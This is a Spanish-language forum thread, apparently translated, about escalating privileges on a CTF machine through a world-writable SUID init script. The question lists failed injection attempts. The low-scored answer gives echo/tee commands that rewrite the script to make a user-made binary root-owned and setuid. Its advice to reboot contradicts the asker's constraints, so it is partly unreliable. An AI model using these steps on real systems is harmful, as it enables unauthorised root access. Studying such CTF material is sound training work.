¿Cómo usar una secuencia de comandos SUID sh para obtener una escalada de privilegios?

3

Como usuario de datos www (usuario sin privilegios) he encontrado este script de shell SUID, de escritura mundial:

www-data@Cisco:/home/cripto$ ls -al /etc/init.d/admin
-rwsr-xrwx 1 root bob 233 Nov 12 13:09 /etc/init.d/admin

Es parte de una máquina CTF. El contenido es trivial, no hace nada útil (parece que es solo una plantilla de plantilla):

#!/bin/sh
# /etc/init.d/admin


case "$1" in
   start)
    echo "[i] Start admin Area"


    ;;
   stop)
    echo "[i] Stop admin Area"

        ;;
   *)
    echo "Usage: /etc/init.d/admin {start|stop}"
    exit 1
    ;;  
esac
exit 0

Pero sospecho que este script podría ayudarme a elevar mis privilegios. He estado leyendo sobre esto aquí:

Peligros de los scripts de shell de SUID

y aquí

Explotación de init.d para diversión y ganancias

Pero:

  • La máquina no se puede reiniciar (esa fue mi primera idea, editar el script para que cree un shell privilegiado en / tmp y forzar un reinicio)
  • El parámetro posicional $ 1 parece no ser inyectable (traté de engañar el caso "$ 1" al pasar diferentes argumentos desde la línea de comando, como ./admin "hi; id" y cosas similares, sin éxito)

Me pregunto si hay algunas variables de entorno que podría explotar. O algún tipo de manipulación que podría forzar manipulando la variable IFS. ¿Alguna idea sobre cómo este tipo de scripts SUID podrían ser explotables?

    
pregunta Juanan 24.01.2018 - 09:37
fuente

1 respuesta

-1

Se pueden hacer varias cosas en este archivo para ayudarlo a continuar. Por cambio, puede hacer lo siguiente, agregar al archivo lo siguiente

echo '#!/bin/sh'|tee admin && echo 'chattr -i /home/(your user)/(file of your chosing)'|tee -a admin

echo 'chown root:root /home/(Your User)/(file you create)' | tee -a admin && echo 'chmod 4755 /home/(your user)/(Your file)'|tee -a admin

Luego, en el directorio de inicio del usuario, cree un archivo c simple para setgid y setguid. Compile con el nombre que aparece en la secuencia de comandos anterior y luego reinicie. Esto ejecutará el archivo y cambiará el propietario a raíz con guid set.

Entonces es simple ./file y luego divertido.

    
respondido por el Bob Goblin 23.09.2018 - 23:25
fuente

Lea otras preguntas en las etiquetas